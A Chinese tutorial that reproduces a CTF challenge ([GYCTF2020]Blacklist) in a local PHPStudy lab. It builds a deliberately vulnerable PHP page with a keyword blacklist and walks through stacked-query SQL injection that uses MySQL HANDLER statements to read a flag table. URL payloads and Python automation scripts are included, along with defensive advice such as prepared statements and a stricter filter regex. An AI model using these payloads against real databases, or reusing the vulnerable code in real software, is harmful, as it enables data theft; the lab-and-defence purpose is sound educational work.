保姆级教程:在PHPStudy环境下复现[GYCTF2020]Blacklist 1的HANDLER注入漏洞
在PHPStudy环境下复现HANDLER注入漏洞实战指南
当安全研究人员遇到一个过滤了SELECT、UPDATE等常见SQL关键字的系统时,往往会感到棘手。但MySQL提供的HANDLER命令却是一个鲜为人知却极为强大的替代方案。本文将带你在本地PHPStudy环境中完整复现这种特殊注入技术。
1. 环境搭建与漏洞复现准备
首先需要准备一个标准的PHPStudy环境。推荐使用PHPStudy 2018版本,因为它默认包含MySQL 5.7,与大多数CTF比赛环境一致。安装完成后,创建一个新的数据库 ctf ,并执行以下SQL语句建立漏洞环境:
CREATE DATABASE ctf;
USE ctf;
CREATE TABLE `FlagHere` (
`flag` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
CREATE TABLE `words` (
`id` int(10) NOT NULL,
`data` varchar(20) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `FlagHere` VALUES ('flag{this_is_your_flag}');
INSERT INTO `words` VALUES (1, 'hello'), (2, 'world');
接下来创建存在漏洞的PHP文件 index.php :
<?php
$link = mysqli_connect('localhost', 'root', 'root', 'ctf');
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i", $id)){
die("Hacker!");
}
$query = "SELECT * FROM words WHERE id='$id'";
$result = mysqli_multi_query($link, $query);
if($result){
do {
if ($res = mysqli_store_result($link)) {
while ($row = mysqli_fetch_row($res)) {
var_dump($row);
}
mysqli_free_result($res);
}
} while(mysqli_more_results($link) && mysqli_next_result($link));
}
}
?>
这个环境模拟了典型的黑名单过滤机制,禁止了大多数常见SQL操作命令,但留下了HANDLER这个"后门"。
2. HANDLER命令原理解析
HANDLER是MySQL中一个较少被提及但功能强大的命令,它提供了一种直接访问表数据的底层接口。与SELECT不同,HANDLER绕过了SQL解析器的许多处理步骤,直接与存储引擎交互。这种特性使它成为绕过WAF和过滤规则的理想选择。
HANDLER的基本工作流程分为三个阶段:
- OPEN :打开指定表的处理程序
- READ :按特定顺序读取行数据
- CLOSE :关闭处理程序释放资源
典型的HANDLER操作序列如下:
HANDLER table_name OPEN;
HANDLER table_name READ FIRST;
HANDLER table_name CLOSE;
注意:HANDLER命令不需要列权限,只需要对表的SELECT权限即可使用,这使得它在权限受限的环境中仍然有效。
3. 手工注入实战步骤
现在让我们一步步利用HANDLER命令获取flag。首先确认注入点:
http://localhost/index.php?id=1
http://localhost/index.php?id=1'
当输入单引号时如果页面返回异常,基本可以确认存在SQL注入漏洞。接下来探测数据库结构:
http://localhost/index.php?id=1';show databases;--+
http://localhost/index.php?id=1';show tables;--+
确认存在FlagHere表后,检查表结构:
http://localhost/index.php?id=1';show columns from FlagHere;--+
发现flag字段后,由于SELECT被过滤,我们转向HANDLER命令。构造如下payload:
http://localhost/index.php?id=1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;--+
这个payload的执行流程是:
- 首先执行原始查询
SELECT * FROM words WHERE id='1' - 然后依次执行:
- 打开FlagHere表的处理程序
- 读取第一行数据
- 关闭处理程序
如果一次读取不成功,可以尝试循环读取:
http://localhost/index.php?id=1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;
HANDLER FlagHere OPEN;
HANDLER FlagHere READ NEXT;
HANDLER FlagHere CLOSE;
--+
4. 自动化利用脚本开发
对于实际渗透测试,手工构造payload效率太低。下面提供一个Python自动化脚本:
import requests
url = "http://localhost/index.php"
params = {
"id": "1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;-- "
}
response = requests.get(url, params=params)
print(response.text)
更高级的版本可以自动探测表名和字段:
import re
def handler_injection(target_url):
# 探测表名
tables = requests.get(target_url, params={"id": "1';show tables;-- "}).text
table_list = re.findall(r'`(\w+)`', tables)
for table in table_list:
# 使用HANDLER读取每张表的第一行
payload = f"1';HANDLER {table} OPEN;HANDLER {table} READ FIRST;HANDLER {table} CLOSE;-- "
result = requests.get(target_url, params={"id": payload}).text
if "flag{" in result:
return re.search(r'flag\{.*?\}', result).group(0)
return "Flag not found"
print(handler_injection("http://localhost/index.php"))
5. 防御方案与进阶思考
要防御HANDLER注入,仅靠关键字过滤是不够的。推荐采用以下多层防御策略:
-
参数化查询 :使用预处理语句
$stmt = $link->prepare("SELECT * FROM words WHERE id=?"); $stmt->bind_param("s", $id); $stmt->execute(); -
最小权限原则 :数据库用户只授予必要权限
-
全面过滤 :将HANDLER加入黑名单
preg_match("/handler|set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i", $input) -
WAF规则 :添加针对非常规SQL命令的检测
在实际渗透测试中,当遇到过滤时,除了HANDLER还可以尝试:
- 时间盲注:利用
sleep()函数 - 报错注入:通过错误消息泄露信息
- 二次注入:利用系统已有数据触发注入
HANDLER命令的独特之处在于它完全绕过了SQL解析器的常规处理流程,这提醒我们安全防护必须考虑所有可能的入口点,而不仅仅是常见的那几个。
更多推荐
所有评论(0)